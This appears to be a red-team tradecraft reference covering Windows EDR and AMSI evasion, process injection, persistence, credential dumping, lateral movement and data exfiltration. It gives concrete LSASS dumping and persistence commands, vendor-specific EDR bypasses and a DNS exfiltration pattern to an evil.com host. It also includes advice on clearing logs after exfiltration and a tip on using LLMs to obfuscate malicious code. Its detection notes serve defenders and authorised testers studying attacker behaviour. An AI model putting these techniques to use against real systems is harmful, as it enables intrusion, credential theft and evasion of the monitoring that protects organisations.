  • ThreadStackSpoofer: Replace return addresses with pointers to legitimate module code
  • Unwinder: Manipulate stack unwind metadata to produce clean-looking stacks
  • SilentMoonwalk: Desync the call stack before API calls, restore after
  • Return address overwrite: Before each sensitive API call, overwrite stack with legitimate RAs
  • TLS callbacks: Use TLS directory callbacks for execution — unusual call origin
EVASION

CLM / AppLocker / WDAC Bypass

Constrained Language Mode, application whitelisting, and Windows Defender Application Control
  • CLM: PowerShell Constrained Language Mode blocks Add-Type, New-Object, etc.
  • CLM bypass: Run PowerShell via custom runspace, downgrade to v2, use PSByPassCLM
  • AppLocker: Whitelists which EXEs/DLLs/scripts can run — based on path, publisher, hash
  • AppLocker bypass: Execute from writable whitelisted paths (C:\Windows\Temp, user profile)
  • WDAC (UMCI): Kernel-enforced code integrity — much harder to bypass than AppLocker
  • WDAC bypass: Find signed binaries in WDAC policy that allow arbitrary code (LOLBins)
  • MSBuild: Typically allowed by AppLocker — compiles and executes inline C#
EVASION

PPID Spoofing & Process Attributes

Manipulate process creation to appear legitimate in process tree
  • PPID Spoofing: Create process with fake parent PID using PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
  • Makes your spawned process appear as child of explorer.exe, svchost.exe, etc.
  • Block DLLs: PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY — block non-Microsoft DLLs (blocks EDR DLL injection)
  • Command line spoofing: Create process suspended with benign args → overwrite PEB command line → resume
  • Detection: ETW still logs the real parent — kernel callbacks see the truth
  • Better approach: Don't spawn new processes at all — use inline execution within existing process
EVASION

EDR-Specific Bypasses

Vendor-specific weaknesses and evasion techniques for major EDR products
  • Cortex XDR: Maintains ~50+ excluded EXE names in registry — naming your binary apache.exe prevents hook DLL loading
  • CrowdStrike time desync: Manipulating system clock to distant past/future — actions don't appear in console (15min window before resync)
  • CrowdStrike drag-and-drop: Copy-paste of SAM/SYSTEM hives flagged, but drag-and-drop uses different API and bypasses detection
  • SentinelOne VEH bypass: Insert VEH handler with arg 0 (append) instead of >0 (insert front) — S1 doesn't re-add its handler
  • 7-Zip raw disk: Browse \\.\PhysicalDrive0 in 7-Zip to copy SAM/SYSTEM from raw disk — most EDRs don't monitor this
  • WFP EDR silencing: EDRSilencer uses Windows Filtering Platform to block EDR network communications to cloud console
  • WDAC EDR kill: Deploy WDAC policy blocking EDR drivers → reboot → EDR fails to start. Krueger for remote deployment
  • Resource exhaustion: Spike Cortex agent CPU/memory via GUI actions + junk named pipe data to prevent event collection
EVASION

AMSI Advanced Bypasses

Novel AMSI bypass techniques beyond the classic AmsiScanBuffer patch
  • WriteProcessMemory: Use kernel32.WriteProcessMemory to patch AmsiScanBuffer — internally modifies memory perms, avoids VirtualProtect trigger
  • No C3 (RET) byte: Defender detects C3 written to function prologues — use POP RAX; JMP RAX or jump to legitimate C3 in prior function
  • HAMSICONTEXT corruption: Zero the pointer at offset 0x3c8 (IActiveScript object) — AmsiScanBuffer returns early without scanning
  • CLR.DLL modification: Patch CLR.DLL in memory to bypass AMSI at CLR level before it calls amsi.dll
  • Block amsi.dll load: Hook LdrLoadDll to block amsi.dll loading entirely, or preload your own benign amsi.dll
  • ConfuserEx obfuscation: Obfuscate .NET assemblies sufficiently that AMSI cannot signature-match — no runtime patch needed
  • CLR host init: Initialize CLR yourself ensuring AMSI disabled during hosting process. Being-A-Good-CLR-Host
  • Null-AMSI: Uses .NET Reflection to set amsiInitFailed — all subsequent scans return clean
EVASION

Code Signing & Reputation Evasion

Abuse certificate trust and SmartScreen reputation to bypass static defenses
  • Expired certificate signing: SmartScreen treats binaries with any certificate as less suspicious — expired certs reduce detections significantly
  • Elastic EDR gap: Rules check for "unsigned" but expired certs return errorExpired status — bypasses the unsigned check entirely
  • Sources: Find leaked OV certs on GitHub, VirusTotal, open S3 buckets (GrayhatWarfare), Tor markets
  • Limelighter: Generate fake/spoofed code signatures for DLLs, EXEs, MSIs, VBA macros, scripts, ClickOnce manifests
  • PE checksum modification: Change PE Optional Header checksum — changes file hash while keeping Authenticode signature intact
  • File inflation: Defender doesn't scan files >50MB. Falcon cloud ML default cutoff ~35MB. Add NuGet packages to bloat size
  • Payload naming: Name payloads to look benign: eicar.exe, Bloomberg_Excel_Addon.exe, SecurityTraining_Oct22\something.exe
EVASION

Malware Virtualization & Anti-Analysis

Run malicious code in custom VM interpreters — evade static, behavioral, and memory analysis
  • RISC-V VM: riscy-business — run code in RISC-V virtual machine interpreter, no executable memory allocation needed
  • x86 virtualizer: rewolf-x86-virtualizer — translate x86 to custom bytecode
  • Commercial: Themida, VMProtect — production-grade code virtualization and packing
  • Module overloading: Load PE on top of legitimate module's memory space — code appears backed by legit DLL
  • Donut customization: Default Donut has detectable AMSI patching + 10KB signatured bootstrap. Remove aPLib, externalize loader, encode with sgn
  • sRDI bootstrap fix: Elastic YARA targets sRDI bootstrap shellcode — simple ASM modifications break the signature
  • Sandbox evasion: Language/locale checks, PEB/TEB parsing for environment keying, anti-emulation checks
  • LLM-assisted obfuscation: Prompt LLMs to reorder code, introduce junk with volatile/register, rework loops

// Process Injection Techniques

Running your code inside another process — the core tradecraft of any implant. Each technique has different detection signatures, OPSEC tradeoffs, and requirements.

INJECT

Classic Injection (VirtualAllocEx)

The textbook method — heavily detected but worth understanding as a baseline
  • Step 1: OpenProcess with PROCESS_ALL_ACCESS on target PID
  • Step 2: VirtualAllocEx — allocate RWX memory in remote process
  • Step 3: WriteProcessMemory — write shellcode to allocated region
  • Step 4: CreateRemoteThread — execute shellcode in new thread
  • Why detected: Every step triggers kernel callbacks — cross-process handle + RWX + remote thread = instant alert
  • EDR sees: Process handle access (ObRegisterCallbacks), memory allocation, thread creation
  • Only useful: In unmonitored environments or as learning exercise
INJECT

APC Injection (QueueUserAPC)

Queue shellcode as an Asynchronous Procedure Call to an alertable thread
  • Write shellcode to target process, then QueueUserAPC on an alertable thread
  • Thread must enter alertable wait state (SleepEx, WaitForSingleObjectEx, etc.) to execute APC
  • Early Bird variant: Create process suspended → write shellcode → APC on main thread → resume
  • Early Bird executes before EDR DLL is loaded into the new process
  • OPSEC: No CreateRemoteThread — slightly less suspicious but still cross-process write
  • NtQueueApcThread: Syscall version avoids kernel32 hooks
INJECT

Module Stomping / Phantom DLL

Overwrite a legitimate DLL's .text section with shellcode — execution from backed memory
  • Problem: Shellcode in unbacked memory (VirtualAlloc) is suspicious — EDRs flag it
  • Module stomping: Load a benign DLL → overwrite its .text with shellcode → execute
  • Memory region now shows as backed by a legitimate DLL on disk
  • Phantom DLL: Load a DLL that doesn't exist on disk (transaction rollback) — backed but no file
  • DLL hollowing: Map a DLL, unmap sections, write shellcode in its place
  • OPSEC: Choose a DLL that's normally loaded by the target process — avoid loading unusual DLLs
INJECT

Callback-based Execution

Use legitimate Windows API callbacks to execute shellcode — avoid CreateThread
  • Concept: Many Windows APIs accept callback function pointers — point them to shellcode
  • EnumFonts / EnumFontFamiliesEx: Callback for each font — passes execution to shellcode
  • EnumWindows: Callback for each window handle
  • CreateFiber: Convert thread to fiber → create new fiber pointing to shellcode → switch
  • CreateTimerQueueTimer: Timer callback executes shellcode after delay
  • CertEnumSystemStore: Certificate store enumeration callback
  • Why: No CreateThread/CreateRemoteThread — execution triggered by benign-looking API call
  • Detection: EDRs increasingly monitor callback targets for non-module addresses
INJECT

Thread Pool Injection

Abuse Windows Thread Pool for execution — blends with normal process behavior
  • TP_WORK: Create work item pointing to shellcode — submitted to thread pool
  • Thread pool threads are reused by the process — execution looks like normal work processing
  • TP_TIMER: Timer-based work item — executes shellcode after specified delay
  • TP_WAIT: Wait-based — executes when a handle is signaled
  • Used by Nighthawk C2 for execution — very effective against call stack analysis
  • OPSEC: Thread pool threads have legitimate call stacks — harder to distinguish from normal work
INJECT

Threadless Injection

No thread creation or APC queue — hook APIs in target process to trigger shellcode on natural calls
  • Concept: Place hooks on regularly-called APIs in the target process — no direct execution APIs needed
  • When the target process naturally calls the hooked API, shellcode triggers automatically
  • No thread creation: No CreateRemoteThread, no APC, no thread hijacking — purely event-driven
  • Detection status: Not detected by any major vendor as of testing — fundamentally different from traditional injection
  • Requirements: Identify APIs frequently called by the target process for reliable trigger
  • OPSEC: The gold standard for process injection — no suspicious cross-process thread operations
INJECT

Early Cascade Injection

Intercept process creation at the earliest stage — execute before EDR hooks are established
  • Concept: Intercept the DLL loading cascade during process initialization — before EDR DLLs load
  • DEBUG_PROCESS: Use debug flag instead of CREATE_SUSPENDED — different process creation path
  • No remote APC: Shellcode executes during natural initialization, not via queued APC
  • Race condition: Wins the race against EDR hook installation by operating earlier in the cascade
  • Thread Name-Calling: Use thread description API (NtSetInformationThread) to write shellcode via thread name primitive
  • VEH manipulation: Clear existing VEH handlers (including EDR's), insert your own for execution control
  • Hardware BPs without SetThreadContext: Use INT3 + VEH to set DR0-DR3 debug registers — avoids ETW-Ti events
INJECT

PE File Injection (Cordyceps)

Inject shellcode into existing PE files on disk — avoid process injection APIs entirely
  • Concept: Instead of injecting into a process, inject shellcode into an existing PE file on disk
  • Technique: Reuse the target PE's Import Address Table (IAT) and data sections, change execution flow
  • No process injection APIs: No OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread
  • RedBackdoorer: Implements Cordyceps technique for PE file backdooring
  • HTTP.sys backdoor: Use kernel-mode HTTP.sys API for HTTP server — no admin needed, shows as PID 4 (System)
  • OPSEC: Entirely different detection surface from traditional process injection — file integrity monitoring needed

// Persistence Mechanisms

Surviving reboots, credential rotations, and remediation. The best persistence is the one that looks like normal system behavior.

PERSIST

Registry Run Keys

Classic persistence — auto-execute on user logon or system startup
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run: Per-user, no admin needed
  • HKLM\...\Run: All users, requires admin
  • RunOnce: Executes once and deletes itself — good for one-shot persistence
  • Technique: Point to signed EXE with DLL sideload — not directly to payload
  • OPSEC: Run keys are heavily monitored — use less obvious keys:
  • UserInitMprLogonScript: Executes on logon, rarely monitored
  • HKCU\Environment\UserInitMprLogonScript: Even less monitored alternative
  • Detection: Autoruns, Sysmon Event 13 (registry value set)
PERSIST

COM Object Hijacking

Replace a COM object's DLL path with your payload — triggered by legitimate software
  • Concept: Windows looks up COM objects in HKCU first, then HKLM
  • Create HKCU key for a CLSID that only exists in HKLM → your DLL loads instead
  • Find targets: Process Monitor — filter for RegOpenKey with NAME NOT FOUND on HKCU CLSIDs
  • Common hijacks: Explorer shell extensions, scheduled task COM objects, MMC snap-ins
  • HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32 → point to your DLL
  • OPSEC: Extremely stealthy — triggered by normal system activity, no new autorun entry visible
  • Detection: Compare HKCU CLSID keys against known-good baseline
PERSIST

Scheduled Tasks

System scheduler executes your payload on a trigger — highly reliable
  • schtasks /create /sc DAILY /tn "SystemUpdate" /tr "C:\path\payload.exe" /st 09:00
  • XML import: More control over triggers, security context, hidden flag
  • COM-based creation: Use ITaskService COM interface — avoids schtasks.exe command line logging
  • Triggers: Logon, idle, time-based, event-based (e.g., on specific Event ID)
  • Run as SYSTEM: If admin, create task running as SYSTEM for maximum privileges
  • Hide the task: Delete SD registry value at HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\TaskName
  • Detection: Event 4698 (task created), Sysmon Event 1 (process creation from taskeng/taskhostw)
PERSIST

WMI Event Subscriptions

Fileless persistence using WMI — trigger on system events without touching disk
  • Three components: EventFilter (trigger) + EventConsumer (action) + Binding (links them)
  • ActiveScriptEventConsumer: Execute VBScript/JScript on trigger
  • CommandLineEventConsumer: Run a command on trigger
  • Trigger examples: Process start, user logon, timer interval, USB insert
  • Fileless: Stored in WMI repository (OBJECTS.DATA) — not in filesystem or registry
  • SharpEventPersist: Create WMI event subscriptions from .NET
  • Detection: Sysmon Event 19/20/21 (WMI events), check with Get-WMIObject __FilterToConsumerBinding
PERSIST

DLL Sideloading Persistence

Signed binary + malicious DLL — survives reboots via autorun of the signed binary
  • Most OPSEC-friendly persistence: Combines signed binary trust with DLL hijack
  • Setup: Drop signed EXE + proxy DLL to persistent location (AppData, ProgramData)
  • Trigger: Scheduled task, Run key, or service pointing to the signed EXE
  • EDR sees a signed, trusted binary starting — the DLL load appears normal
  • Proxy DLL: Forwards all legitimate exports + executes shellcode in DllMain or exported function
  • Finding pairs: Spartacus, WFH (Windows Feature Hunter)
  • Tip: Choose an EXE that's commonly present on the system (updaters, tools)
PERSIST

Service Installation

Create a Windows service that starts automatically — runs as SYSTEM
  • sc create SvcName binPath= "C:\path\svc.exe" start= auto
  • Service DLL: Register a DLL as a service via svchost.exe -k group — shares process with other services
  • Registry: HKLM\SYSTEM\CurrentControlSet\Services\SvcName
  • OPSEC: Service creation logs Event 7045 (new service installed) — heavily monitored
  • Better: Modify existing service's DLL path instead of creating new one
  • Detection: Event 7045, sc query/qc anomalies, new entries in Services registry hive
PERSIST

TypeLib COM Hijacking

Abuse COM TypeLib registry entries for stealthy persistence — rarely detected
  • Concept: Hijack COM TypeLib registry entries to redirect type library resolution to malicious DLLs
  • Mechanism: Modify HKCU\Software\Classes\TypeLib\{GUID} entries to point to your DLL
  • Triggered by: Any application that resolves the hijacked TypeLib — normal system activity
  • Self-cleaning: Can auto-delete deployment files (LNK, BAT) after first execution
  • Phish-to-persist: Combined with RDP file delivery for one-click breach + persistence
  • Detection: Very rarely monitored — most EDRs do not have specific TypeLib hijack detections
PERSIST

Browser Extension Persistence

Silent Chrome extension install — acts as both persistence and C2 channel
  • Concept: Silently install a custom Chrome extension that acts as C2 channel and/or proxy
  • Native Messaging API: Bridge between extension and native implant on disk
  • Browser traffic: C2 communications travel through the browser process — extremely hard for EDRs to monitor
  • Auth bypass: Can proxy traffic through authenticated browser session — defeats hardware-based auth checks
  • Cookie access: Extension can read cookies, session tokens, and form data from all sites
  • Dual purpose: Serves as both persistence mechanism and exfiltration channel
PERSIST

Office Template & Trusted Location Persistence

Plant macros in trusted Office directories — delayed execution on next Office launch
  • XLSTART persistence: Copy XLAM (Excel Add-in) to XLSTART trusted location — auto-loads when Excel opens
  • No MOTW: Trusted locations are exempt from MOTW checks — VBA runs without prompts
  • Delayed execution: Actual code runs when user organically opens Excel — forensic correlation much harder
  • Office template injection: Plant encrypted macro docs in Office template directories via HTA/script
  • COM-proxy persistence: Modify registry for COM-proxy based persistence via JScript — survives reboots
  • DNS TXT persistence: Store PS expressions in DNS TXT records — LNK evaluates TXT record on login

// Credential Access

Harvesting credentials from memory, disk, and user behavior. Every credential type enables different lateral movement options.

CRED

LSASS Credential Dumping

LSASS holds plaintext passwords, NT hashes, and Kerberos tickets in memory
  • Direct dump: procdump -ma lsass.exe lsass.dmp (signed Microsoft binary)
  • MiniDumpWriteDump: Custom tool using this API — dump to disk or pipe
  • Comsvcs.dll: rundll32 comsvcs.dll MiniDump PID file full — LOLBin dump
  • LSASS Shtinkering: Use Windows Error Reporting to trigger dump via WerFault
  • Parse offline: pypykatz lsa minidump lsass.dmp — extract creds from dump file
  • PPL bypass: LSASS protected (PPL) — need kernel driver or exploit to dump
  • OPSEC: Opening handle to LSASS triggers ObRegisterCallbacks — #1 detection for cred dumping
  • Alternative: Use secretsdump.py remotely via DCSync — no LSASS access needed
CRED

DPAPI Credential Harvesting

Decrypt browser passwords, Wi-Fi keys, RDP creds, certificates stored via Windows DPAPI
  • Chrome/Edge passwords: SQLite DB + DPAPI-encrypted AES key
  • Chrome/Edge cookies: Session cookies → bypass MFA, access cloud services
  • Windows Credential Manager: Saved RDP, SMB, web credentials
  • Wi-Fi profiles: WPA2 passwords stored as DPAPI blobs
  • DonPAPI: Automated DPAPI harvesting across multiple hosts remotely
  • SharpDPAPI: Local/remote DPAPI operations from .NET
  • dploot: Python DPAPI looting — masterkeys, credentials, vaults, browser
  • Domain Backup Key: DCSync can get the DPAPI domain backup key — decrypt any user's secrets
CRED

Kerberos Ticket Harvesting

Extract TGTs and TGS tickets from memory for pass-the-ticket attacks
  • Rubeus dump — extract all tickets from current logon session
  • Rubeus triage — list all accessible tickets across sessions
  • Rubeus monitor /interval:5 — monitor for new TGTs (useful on unconstrained delegation hosts)
  • Linux: Tickets stored in /tmp/krb5cc_* or kernel keyring
  • ccache files: Copy and use with impacket tools — export KRB5CCNAME=ticket.ccache
  • Key material: NT hash + AES256 key enable forging tickets without touching LSASS
CRED

Sensitive File Discovery

Find passwords, keys, and secrets in files across the network
  • Snaffler: Automated sensitive file discovery across SMB shares
  • Finds: passwords in configs, private keys, KeePass databases, connection strings
  • Seatbelt: Local host survey — browser data, credentials, tokens, interesting files
  • Common targets: web.config, appsettings.json, .env files, PowerShell history, unattend.xml
  • KeePass: .kdbx files + find the master password in memory or config
  • SharePoint / Confluence: Internal wikis often contain credentials in pages
  • Git repos: trufflehog, GitLeaks — scan for secrets in commit history
CRED

LSASS Evasive Dumping

Advanced techniques to dump LSASS while evading modern EDR detections
  • Handle duplication: Scan all processes for existing LSASS handles → duplicate into your process — avoids opening direct handle
  • nanodump: Duplicated handle dump + send as encrypted chunks directly to operator — never touches disk
  • Process cloning: Fork/clone a process holding LSASS handle — child inherits handle without new open
  • Remote physical memory: physmem2profit — remotely map physical memory and create LSASS minidump
  • Dump to remote share: Write LSASS dump directly to SMB share or WebDAV — bypasses local file-system monitoring
  • In-memory SAM parsing: SharpSAMDump / Invoke-Hivedump.ps1 — parse secrets directly from registry, no disk drop
  • Drag-and-drop API: Copy-paste of hives flagged by CrowdStrike, but drag-and-drop uses different API and bypasses
  • 7-Zip raw disk: Browse \\.\PhysicalDrive0 → copy SAM/SYSTEM directly — files not locked at raw disk level
CRED

Browser Cookie & Token Theft

Bypass Chrome's App-Bound Encryption and extract session cookies for MFA bypass
  • App-Bound Encryption: Chrome shifted cookie encryption from user DPAPI to SYSTEM-managed service
  • Bypass: Run decryption binary from within browser's application folder (C:\Program Files\Google\Chrome\Application\)
  • Custom extension: Chrome extension can access cookies directly — bypasses app-bound encryption entirely
  • ChromeKatz BOF: Beacon Object File for dumping Chrome cookies/passwords in-memory
  • cookie-monster BOF: Alternative BOF for browser cookie extraction
  • HackBrowserData: Cross-browser data extraction (Chrome, Edge, Firefox, Brave)
  • Session replay: Import stolen cookies into browser → fully authenticated session bypassing MFA
CRED

Cached Credentials & All-in-One Dumping

Grab everything at once — browsers, Wi-Fi, mail clients, databases, sysadmin tools, and more
  • LaZagne: All-in-one credential recovery — browsers, Wi-Fi, mail (Outlook, Thunderbird), databases, sysadmin tools (FileZilla, PuTTY, WinSCP, OpenSSH), Windows Credential Manager
  • Coverage: 40+ applications supported across Windows and Linux — single binary, no dependencies
  • Windows Credential Manager: cmdkey /list to enumerate, SharpDPAPI to decrypt programmatically
  • Wi-Fi passwords: netsh wlan show profile name=X key=clear or DPAPI-decrypt from registry
  • RDP saved credentials: Stored as DPAPI blobs in %LOCALAPPDATA%\Microsoft\Credentials\
  • PuTTY / WinSCP / FileZilla: Cleartext or weakly encrypted passwords in registry and XML configs
  • Mail clients: Outlook profiles in registry, Thunderbird logins.json + key4.db
  • goLazagne: Go implementation — cross-platform, compiles to single static binary

// Lateral Movement

Moving through the network after initial compromise. Each method has different port requirements, authentication types, and OPSEC signatures.

LATERAL

SMB-based Execution

Port 445 — the most common lateral movement vector in Windows environments
  • PsExec: Upload service binary → create/start service → command exec as SYSTEM
  • smbexec: Similar to PsExec but uses cmd.exe and echo-based output — no binary upload
  • Cobalt Strike jump: jump psexec64 / jump winrm64 for one-command lateral movement
  • Detection: Service creation (7045), named pipe creation, SMB file write to ADMIN$/C$
  • OPSEC: PsExec drops a binary to disk and creates a service — very noisy
  • Better: Use SMB Named Pipe for C2 pivoting — no service creation needed
LATERAL

WMI Execution

Remote execution via Windows Management Instrumentation — no binary on disk
  • wmiexec.py: Semi-interactive shell via WMI + SMB output redirection
  • Process creation: Win32_Process.Create — spawn process on remote host
  • No binary upload: Commands execute natively via WMI provider
  • Ports: TCP 135 (RPC) + dynamic high ports + optional SMB (445) for output
  • OPSEC: WMI process creation spawns from WmiPrvSE.exe — known parent-child pattern
  • Detection: Event 4648 (explicit credentials), WMI-Activity log, WmiPrvSE child processes
LATERAL

WinRM / PowerShell Remoting

Port 5985/5986 — legitimate admin protocol, often allowed through firewalls
  • evil-winrm: Full interactive PS session with upload/download/module loading
  • Enter-PSSession: Native PowerShell remoting — full interactive session
  • Invoke-Command: Execute commands on multiple hosts simultaneously
  • OPSEC: Common admin tool — blends with normal admin activity if WinRM is already in use
  • Detection: Event 4648, PowerShell ScriptBlock logging (4104), WinRM connection events
  • Tip: Check if WinRM is enabled before relying on it: Test-WSMan -ComputerName target
LATERAL

DCOM Execution

Distributed COM objects for remote code execution — less monitored than SMB/WMI
  • MMC20.Application: ExecuteShellCommand method for remote command execution
  • ShellWindows: ShellExecute via Explorer COM object
  • ShellBrowserWindow: Similar to ShellWindows, different CLSID
  • Excel.Application: RegisterXLL to load DLL, or DDEInitiate
  • Outlook.Application: Execute via Outlook COM for phishing/command execution
  • Ports: TCP 135 + dynamic high ports — same as WMI/RPC
  • OPSEC: Less commonly monitored than PsExec/WMI — but kernel callbacks still see process creation
LATERAL

C2 Pivoting (SMB / TCP)

Chain beacons through internal networks — only first hop needs internet access
  • SMB Named Pipe: Parent beacon communicates with child over SMB pipe — port 445
  • TCP Listener: Bind listener on compromised host — other hosts connect to it
  • Architecture: Internet beacon (HTTPS) → SMB child → SMB grandchild → deep network
  • Cobalt Strike: jump psexec_psh with SMB listener, or link to existing SMB beacon
  • Sliver: TCP/Named Pipe pivot listeners built-in
  • OPSEC: Only the first beacon touches the internet — internal traffic is SMB/TCP (normal)
  • Risk: If parent beacon dies, all children lose connectivity — set up redundant paths
LATERAL

Pass-the-Hash / Pass-the-Ticket / Overpass-the-Hash

The classic fundamentals — reuse captured credentials without knowing plaintext passwords
  • Pass-the-Hash (PtH): Use NT hash directly to authenticate via NTLM — no password cracking needed. Works with SMB, WMI, WinRM, RDP (Restricted Admin)
  • Tools: impacket (-hashes :NTHASH), NetExec, evil-winrm -H, mimikatz sekurlsa::pth
  • Pass-the-Ticket (PtT): Inject stolen Kerberos TGT/TGS into current session — Rubeus ptt /ticket:base64
  • Overpass-the-Hash: Use NT hash to request a Kerberos TGT — Rubeus asktgt /user:X /rc4:HASH. Converts NTLM material to Kerberos for environments blocking NTLM
  • Pass-the-Key: Same as overpass but using AES256 key instead of RC4/NT hash — less detectable, preferred when available
  • Pass-the-Certificate: Use stolen ADCS certificate for PKINIT authentication — Certipy auth -pfx cert.pfx
  • RDP Restricted Admin: mstsc /restrictedadmin allows RDP with just NT hash — must be enabled on target
  • Detection: Event 4624 Type 9 (PtH), 4768 with unusual encryption types (overpass), anomalous logon patterns
LATERALPRIVESC

Token Impersonation & Process Manipulation

Steal tokens from running processes to impersonate other users — fundamental post-exploitation tradecraft
  • Token impersonation: Duplicate access token from another process and use it to act as that user — requires SeImpersonatePrivilege
  • elevate_pid_bof: BOF that steals a process token by PID and spawns a new process under that token — inline, no fork & run
  • incognito: Classic token enumeration and impersonation — list all available tokens, impersonate any. Built into Meterpreter
  • Cobalt Strike: steal_token PID to impersonate, rev2self to revert. make_token for credential-based impersonation
  • Potato family: SweetPotato / PrintSpoofer / GodPotato — escalate from service accounts (SeImpersonate) to SYSTEM
  • RunasCs: Runas replacement with PTH support (dev branch) — create process with alternate credentials
  • Token types: Delegation tokens (interactive logons) are more useful than impersonation tokens (network logons)
  • OPSEC: Token theft is local — no network traffic, no new logon events. One of the quietest escalation techniques
LATERAL

SCShell & Service-Based Execution

Fileless lateral movement via service configuration changes — no new service creation, port 135 only
  • SCShell: Changes an existing service's binary path via ChangeServiceConfigA → starts service → code executes → restores original path
  • No Event 7045: Unlike PsExec, SCShell modifies existing services instead of creating new ones — avoids the #1 lateral movement detection
  • Port 135 only: Uses DCERPC/SVCCTL — does not require SMB (445) for file transfer
  • Fileless: No binary dropped to disk — the service binary path points to a command line (e.g., cmd /c payload)
  • XOR encrypted: Network traffic is XOR-encrypted to avoid signature detection
  • Authentication: Supports pass-the-hash natively — SCShell.exe target service user domain hash command
  • Modified SCShell: Find stopped services with DLLs NOT in System32 — replace the DLL and start the service. No config change needed, even stealthier
  • OPSEC: Event 7040 (service config change) may still fire — but far less monitored than 7045 (new service)
LATERAL

Advanced DCOM Techniques

Novel DCOM methods for fileless lateral movement with reduced detection surface
  • Fileless DCOM: Based on Forshaw research — weaponized for fileless lateral movement with free PPL protection for beacons
  • DCOM Upload & Execute: Remotely write custom payloads via DCOM to create embedded backdoor
  • GoExec DCOM htafile: Uses dcom/urlmon to load URL Moniker executing JScript/VB — stealthiest with inline JScript
  • BitlockMove: Lateral movement via Bitlocker DCOM interfaces + COM Hijacking
  • Cross-Session Activation: DCOM-based cross-session activation for lateral movement + privilege escalation
  • WMI Event Sub: Async WMI via Event Subscription to run DLL-hijackable binary. wmiexec-Pro — port 135 only, no 445
  • Modified SCShell: Find stopped services with DLLs NOT in System32 — replace DLL and start service. No config modification needed
LATERAL

RDP & WinRM Advanced

Programmatic RDP lateral movement and advanced WinRM techniques
  • SharpRDP: Send keystrokes programmatically over RDP — adjust for non-English keyboard layouts
  • Legal notice bypass: Send dismiss keystrokes to bypass RDP legal notice banners after connection
  • RDP relay: Impacket ntlmrelayx RDP relay server — relay RDP auth to SMB or HTTP
  • HiddenDesktop: HVNC for Cobalt Strike — hidden virtual desktop for interactive access
  • WinRM BOF: bof-winrm-client — WinRM client as Beacon Object File for inline execution
  • WinRM plugins: Exploit WinRM plugin loading for code execution and persistence
  • Invoke-SMBRemoting: Interactive shell over Named Pipes — fileless SMB lateral movement
  • RPC high ports: If 445/135 blocked, brute-force RPC high ports with atexec-pro — port 135 only

// Exfiltration & Data Staging

Getting data out without triggering DLP, proxy inspection, or network anomaly detection. Blend with normal traffic patterns.

EXFIL

HTTPS C2 Channel

Most common — exfiltrate data through the same C2 channel used for command and control
  • Simplest approach: Download file through Beacon — data flows through existing C2 channel
  • Chunking: Large files split into small chunks matching normal C2 traffic size
  • Malleable profile: Data embedded in POST body, cookies, or URL parameters mimicking legitimate traffic
  • Timing: Match exfil rate to normal C2 callback interval — don't suddenly spike bandwidth
  • Encryption: C2 channel is already encrypted (HTTPS + payload encryption)
  • Limitation: Slow for large volumes — constrained by C2 sleep time and chunk size
EXFIL

DNS Exfiltration

Encode data in DNS queries — works even in heavily restricted networks
  • Concept: Encode data as subdomains — base64data.evil.com → DNS query to your NS
  • dnscat2: Full C2 over DNS — TXT, CNAME, MX, A records
  • iodine: IP-over-DNS tunnel — full network connectivity through DNS
  • Slow: DNS has small payload per query (~250 bytes) — only for small data / C2
  • Bypasses: Most firewalls allow DNS (port 53) outbound — even air-gapped-ish networks
  • DOH (DNS-over-HTTPS): DNS queries via HTTPS to Cloudflare/Google — encrypted, harder to inspect
  • Detection: Anomalous DNS query volume, long subdomain strings, unusual record types
EXFIL

Cloud Storage Exfiltration

Upload data to legitimate cloud services — blends with normal SaaS traffic
  • OneDrive / SharePoint: Use victim's own M365 token to upload — appears as normal usage
  • Google Drive: OAuth token or service account upload — common enterprise traffic
  • Azure Blob Storage: SAS token upload — looks like normal Azure API calls
  • AWS S3: Pre-signed URL upload — single HTTPS PUT request
  • Dropbox / Box: API upload — allowed by many corporate proxies
  • OPSEC: Use the org's existing cloud provider — traffic to their own tenant is least suspicious
  • Detection: DLP inspection, unusual upload volumes, access to sensitive SharePoint sites
EXFIL

Data Staging & Preparation

Compress, encrypt, and stage before exfiltration — reduce volume, avoid DLP
  • Compress: 7z, zip, tar.gz — reduces transfer size and obscures file types
  • Encrypt: AES encrypt the archive before exfil — defeats DLP content inspection
  • Password-protected archives: 7z a -pPASSWORD -mhe=on archive.7z data/ (encrypts filenames too)
  • Staging location: Collect data on a single internal host before exfil — fewer network connections
  • Split files: Break large archives into small chunks matching normal traffic patterns
  • Naming: Rename archives to look benign (.log, .tmp, .bak)
  • Cleanup: Delete staged files, clear event logs, remove tools after exfil

// OPSEC Considerations

Operational security separates a noisy pentest from a realistic adversary simulation. Every action has a detection signature — know what you're generating.

Detection Risk by Action

ACTION                                    RISK LEVEL     DETECTION SOURCE

Phishing email sent                      LOW            Email gateway, user reporting
HTML smuggling opened                     LOW            Browser telemetry (limited)
Shellcode loader executed                 MEDIUM         AV static scan, AMSI (if not bypassed)
C2 beacon callback                        LOW-MED        Network IDS, JA3/JARM fingerprint
AMSI/ETW patch                            MEDIUM         EDR memory integrity checks
Process injection (cross-process)          HIGH           Kernel callbacks, ETW, Sysmon 8/10
LSASS access                              VERY HIGH      ObRegisterCallbacks, Sysmon 10, EDR
Mimikatz execution                        VERY HIGH      Static + behavioral + memory sigs
PsExec lateral movement                   HIGH           Service creation 7045, named pipe, SMB write
WMI remote execution                      MEDIUM         WMI-Activity log, Event 4648
DCOM execution                            LOW-MED        Process creation from DCOM host process
Scheduled task creation                   MEDIUM         Event 4698, Sysmon
Service creation                          HIGH           Event 7045, Autoruns, EDR
DCSync                                    VERY HIGH      Event 4662, DRS replication from non-DC
Large data transfer                       HIGH           DLP, NetFlow anomaly, proxy logs
OPSEC

Common Mistakes

What gets operators caught most often
  • Default C2 profiles: Stock Cobalt Strike, default Sliver — instantly flagged by JA3/JARM
  • Running Mimikatz directly: Most detected tool in history — use alternatives or dump offline
  • PsExec everywhere: Service creation + binary drop on every host = obvious lateral movement
  • No sleep obfuscation: Beacon sitting in RWX memory = detected by next memory scan
  • Same IOCs across targets: Reusing the same named pipe, user-agent, or URI = easy correlation
  • Touching LSASS directly: #1 EDR alert trigger — use remote methods (secretsdump, DCSync) when possible
  • Not cleaning up: Leaving tools, logs, scheduled tasks behind after completing objectives
  • Time correlation: Running tools at 3 AM when no legitimate admin works = anomaly
OPSEC

Staying Quiet

